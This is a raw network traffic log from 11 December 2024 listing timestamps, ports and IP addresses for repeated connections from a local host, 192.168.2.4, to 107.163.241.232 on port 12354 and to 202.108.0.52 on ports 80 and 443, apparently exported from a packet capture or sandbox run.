Dec 11, 2024 16:27:41.488337994 CET	12354	49506	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:41.488676071 CET	49506	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:41.489350080 CET	49506	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:41.489907026 CET	50611	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:41.609509945 CET	12354	49506	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:41.609524965 CET	12354	50611	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:41.609606981 CET	50611	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:41.609787941 CET	50611	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:41.628189087 CET	12354	49593	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:41.628345966 CET	49593	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:41.628345966 CET	49593	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:41.628844976 CET	50767	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:41.730434895 CET	12354	50611	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:41.748553038 CET	12354	49593	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:41.748569012 CET	12354	50767	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:41.748651028 CET	50767	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:41.749639988 CET	50767	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:41.869050980 CET	12354	50767	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:42.796442986 CET	443	50153	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:42.799900055 CET	50153	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:42.799913883 CET	443	50153	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:42.800295115 CET	50153	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:42.898313999 CET	50153	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:42.898432016 CET	443	50153	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:42.898494959 CET	50153	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:43.288744926 CET	50767	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:43.288794041 CET	50611	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:43.289243937 CET	51437	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:43.379930973 CET	49592	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:43.380243063 CET	51439	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:43.409060001 CET	12354	51437	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:43.409147024 CET	51437	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:43.417891026 CET	51437	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:43.422657967 CET	51444	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:43.500849009 CET	80	49592	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:43.500919104 CET	49592	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:43.501332998 CET	80	51439	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:43.501398087 CET	51439	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:43.503843069 CET	51439	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:43.542006016 CET	12354	51437	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:43.547235012 CET	12354	51444	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:43.547388077 CET	51444	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:43.548168898 CET	51444	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:43.624352932 CET	80	51439	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:43.668767929 CET	12354	51444	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:45.075170040 CET	80	51439	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:45.075284958 CET	51439	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:45.079025984 CET	53009	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:45.079068899 CET	443	53009	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:45.079222918 CET	53009	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:45.079870939 CET	53009	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:45.079879045 CET	443	53009	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:45.518821001 CET	12354	51437	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:45.518925905 CET	51437	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:45.519205093 CET	51437	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:45.519701004 CET	53248	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:45.638468981 CET	12354	51437	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:45.639100075 CET	12354	53248	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:45.639193058 CET	53248	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:45.640289068 CET	53248	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:45.659957886 CET	12354	51444	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:45.660031080 CET	51444	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:45.660332918 CET	51444	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:45.660659075 CET	53345	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:45.759614944 CET	12354	53248	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:45.779608965 CET	12354	51444	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:45.779957056 CET	12354	53345	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:45.780045033 CET	53345	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:45.780656099 CET	53345	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:45.899957895 CET	12354	53345	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:46.761729002 CET	443	53009	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:46.761796951 CET	53009	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:46.762821913 CET	443	53009	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:46.762897968 CET	53009	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:46.767338991 CET	53009	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:46.767389059 CET	443	53009	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:46.767505884 CET	53009	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:46.873276949 CET	51439	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:46.873671055 CET	54432	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:46.993596077 CET	80	54432	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:46.993628025 CET	80	51439	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:46.993765116 CET	51439	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:46.993768930 CET	54432	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:46.994575977 CET	54432	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:47.114006996 CET	80	54432	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:47.275420904 CET	54432	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:47.275479078 CET	53345	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:47.275577068 CET	53248	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:47.276115894 CET	54800	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:47.395445108 CET	12354	54800	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:47.395642996 CET	54887	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:47.395728111 CET	54800	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:47.396030903 CET	54800	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:47.397248983 CET	54889	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:47.515568972 CET	12354	54887	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:47.515598059 CET	12354	54800	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:47.515686035 CET	54887	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:47.516765118 CET	80	54889	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:47.516840935 CET	54889	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:47.536432981 CET	54887	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:47.536578894 CET	54889	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:47.656647921 CET	12354	54887	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:47.656665087 CET	80	54889	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:49.078680992 CET	80	54889	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:49.079004049 CET	54889	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:49.084896088 CET	56323	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:49.084927082 CET	443	56323	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:49.085978985 CET	56323	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:49.086946964 CET	56323	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:49.086956978 CET	443	56323	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:49.519361973 CET	12354	54800	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:49.519460917 CET	54800	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:49.520157099 CET	54800	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:49.520544052 CET	56382	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:49.628314972 CET	12354	54887	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:49.628592014 CET	54887	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:49.646256924 CET	12354	54800	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:49.646275997 CET	12354	56382	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:49.646404028 CET	56382	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:49.684252024 CET	54887	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:49.684706926 CET	56382	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:49.764679909 CET	56402	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:49.803688049 CET	12354	54887	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:49.803941965 CET	12354	56382	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:49.884263039 CET	12354	56402	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:49.884531975 CET	56402	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:50.071363926 CET	56402	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:50.190715075 CET	12354	56402	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:50.775029898 CET	443	56323	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:50.775101900 CET	56323	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:50.775855064 CET	443	56323	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:50.775898933 CET	56323	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:50.779352903 CET	56323	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:50.779403925 CET	443	56323	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:50.779489040 CET	56323	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:50.888535976 CET	54889	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:50.888977051 CET	56768	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:51.008373022 CET	80	56768	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:51.008455038 CET	56768	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:51.008574009 CET	80	54889	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:51.008621931 CET	54889	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:51.009728909 CET	56768	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:51.129158020 CET	80	56768	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:51.290885925 CET	56768	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:51.290911913 CET	56382	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:51.291621923 CET	57106	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:51.292458057 CET	56402	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:51.406301975 CET	57159	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:51.407335997 CET	57160	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:51.411079884 CET	12354	57106	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:51.411170959 CET	57106	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:51.411711931 CET	57106	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:51.525775909 CET	12354	57159	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:51.525849104 CET	57159	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:51.526087046 CET	57159	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:51.526674986 CET	80	57160	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:51.526757956 CET	57160	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:51.527291059 CET	57160	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:51.531059980 CET	12354	57106	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:51.645298958 CET	12354	57159	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:51.646604061 CET	80	57160	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:53.095398903 CET	80	57160	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:53.095530987 CET	57160	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:53.241413116 CET	58388	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:53.241466999 CET	443	58388	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:53.241535902 CET	58388	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:53.242202044 CET	58388	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:53.242219925 CET	443	58388	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:53.517019033 CET	12354	57106	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:53.517081976 CET	57106	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:53.562541008 CET	57106	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:53.563095093 CET	58391	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:53.647473097 CET	12354	57159	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:53.647531986 CET	57159	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:53.648876905 CET	57159	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:53.675637960 CET	58418	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:53.682238102 CET	12354	57106	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:53.682708025 CET	12354	58391	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:53.682770014 CET	58391	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:53.686094046 CET	58391	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:53.768138885 CET	12354	57159	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:53.795798063 CET	12354	58418	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:53.795877934 CET	58418	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:53.796662092 CET	58418	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:53.806155920 CET	12354	58391	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:53.916177034 CET	12354	58418	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:54.931443930 CET	443	58388	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:54.931582928 CET	58388	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:54.931749105 CET	58388	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:54.932382107 CET	443	58388	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:54.932506084 CET	58388	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:54.935487032 CET	58388	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:54.935560942 CET	443	58388	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:54.935760021 CET	58388	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:54.935764074 CET	443	58388	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:54.935811043 CET	58388	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:55.044745922 CET	57160	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:55.045190096 CET	59759	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:55.164606094 CET	80	57160	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:55.164624929 CET	80	59759	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:55.164709091 CET	59759	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:55.164727926 CET	57160	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:55.165064096 CET	59759	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:55.284420967 CET	80	59759	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:55.307137966 CET	59759	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:55.307184935 CET	58391	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:55.307207108 CET	58418	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:55.308130026 CET	59860	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:55.427557945 CET	12354	59860	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:55.427647114 CET	59860	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:55.445580959 CET	59860	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:55.457756042 CET	59959	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:55.458321095 CET	59960	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:55.566047907 CET	12354	59860	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:55.577150106 CET	80	59959	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:55.577697992 CET	12354	59960	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:55.577783108 CET	59959	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:55.577877998 CET	59960	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:55.578483105 CET	59959	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:55.578799963 CET	59960	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:55.701033115 CET	80	59959	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:55.701349974 CET	12354	59960	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:57.157557011 CET	80	59959	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:57.158361912 CET	59959	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:57.162600040 CET	61601	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:57.162655115 CET	443	61601	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:57.163038969 CET	61601	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:57.163966894 CET	61601	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:57.163983107 CET	443	61601	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:57.532629967 CET	12354	59860	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:57.532695055 CET	59860	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:57.536326885 CET	59860	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:57.537122965 CET	62038	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:57.656002998 CET	12354	59860	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:57.656656027 CET	12354	62038	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:57.656728029 CET	62038	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:57.678783894 CET	62038	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:57.690438986 CET	12354	59960	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:57.690495014 CET	59960	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:57.691176891 CET	59960	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:57.691625118 CET	62150	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:57.798034906 CET	12354	62038	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:57.812195063 CET	12354	59960	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:57.812941074 CET	12354	62150	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:57.813005924 CET	62150	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:57.813513994 CET	62150	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:57.935332060 CET	12354	62150	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:58.859172106 CET	443	61601	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:58.859249115 CET	61601	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:58.860004902 CET	443	61601	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:58.860044956 CET	61601	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:58.879488945 CET	61601	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:58.879564047 CET	443	61601	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:58.879683018 CET	61601	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:58.997845888 CET	59959	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:58.998230934 CET	63172	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:59.117844105 CET	80	59959	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:59.117861986 CET	80	63172	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:59.117907047 CET	59959	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:59.117954969 CET	63172	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:59.118459940 CET	63172	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:59.237893105 CET	80	63172	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:59.472713947 CET	63172	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:59.472742081 CET	62038	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:59.472769976 CET	62150	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:59.510804892 CET	63631	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:59.628648996 CET	63701	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:59.629247904 CET	63702	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:59.630476952 CET	12354	63631	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:59.632211924 CET	63631	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:59.632213116 CET	63631	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:59.750143051 CET	80	63701	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:59.750174046 CET	12354	63702	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:59.750211000 CET	63701	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:59.750252008 CET	63702	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:59.756589890 CET	12354	63631	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:59.761954069 CET	63701	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:59.762166023 CET	63702	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:59.881335974 CET	80	63701	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:59.881581068 CET	12354	63702	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:01.305346966 CET	80	63701	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:01.305425882 CET	63701	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:01.309783936 CET	63849	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:01.309834003 CET	443	63849	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:01.309897900 CET	63849	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:01.314920902 CET	63849	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:01.314934015 CET	443	63849	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:01.754426956 CET	12354	63631	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:01.758450985 CET	63631	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:01.759090900 CET	63631	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:01.759618044 CET	64439	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:01.862418890 CET	12354	63702	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:01.862756014 CET	63702	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:01.863020897 CET	63702	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:01.872416019 CET	64580	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:01.878985882 CET	12354	63631	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:01.879008055 CET	12354	64439	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:01.879106998 CET	64439	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:01.879388094 CET	64439	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:01.983196020 CET	12354	63702	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:01.992386103 CET	12354	64580	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:01.992460012 CET	64580	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:01.994566917 CET	64580	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:01.999397039 CET	12354	64439	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:02.114411116 CET	12354	64580	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:03.010546923 CET	443	63849	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:03.010684967 CET	63849	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:03.011368036 CET	443	63849	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:03.011423111 CET	63849	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:03.199004889 CET	63849	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:03.199094057 CET	443	63849	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:03.199166059 CET	63849	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:03.565068007 CET	64439	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:03.565095901 CET	64580	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:03.568361998 CET	65394	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:03.599963903 CET	63701	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:03.600455046 CET	65396	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:03.685982943 CET	65425	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:03.687786102 CET	12354	65394	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:03.688304901 CET	65394	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:03.689810991 CET	65394	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:03.720046043 CET	80	63701	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:03.720074892 CET	80	65396	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:03.720101118 CET	63701	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:03.720160961 CET	65396	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:03.729294062 CET	65396	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:03.805463076 CET	12354	65425	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:03.805536032 CET	65425	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:03.805891037 CET	65425	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:03.809097052 CET	12354	65394	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:03.848700047 CET	80	65396	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:03.925570011 CET	12354	65425	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:05.267011881 CET	80	65396	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:05.267168045 CET	65396	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:05.270565033 CET	50458	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:05.270590067 CET	443	50458	202.108.0.52	192.168.2.4
